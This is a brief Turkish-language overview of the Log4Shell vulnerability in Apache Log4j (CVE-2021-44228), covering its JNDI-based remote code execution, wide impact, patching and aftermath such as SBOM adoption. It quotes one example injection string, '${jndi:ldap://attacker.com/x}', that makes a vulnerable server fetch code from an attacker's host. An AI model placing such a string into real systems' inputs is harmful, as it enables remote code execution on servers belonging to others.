Log4Shell (Log4j)
CVE-2021-44228, Aralık 2021. Apache Log4j’de log mesajlarındaki JNDI aramasıyla uzaktan kod çalıştırma. HTTP başlığına konan ${jndi:ldap://attacker.com/x} gibi sıradan bir dizgi, sunucunun saldırganın sınıfını çekip çalıştırmasına yol açar. CVSS 10.0. On yılın en kötü açıklarından biri.
Log4j’in Java ekosisteminde her yerde olması nedeniyle etkisi devasa oldu: Minecraft’tan AWS hizmetlerine kadar milyarlarca cihazda kullanılıyordu. Acil çözüm: Log4j 2.17 sorunu yamaladı, ama derine gömülü bağımlılıklar yüzünden birçok kurum için yamalamak aylar sürdü. CISA, federal kurumlara günler içinde yama yapmalarını emretti. Sonrasında SBOM benimsenmesini (bağımlılıklarını bil), tedarik zinciri güvenliği yatırımlarını ve log temizleme kütüphanelerini hızlandırdı. 2–3 yıl boyunca kalıcı oldu: CISA KEV kataloğu Log4j’i “aktif olarak sömürülüyor” diye listeledi, saldırganlar taramayı otomatikleştirdi. Klasik bir uyarı hikâyesi.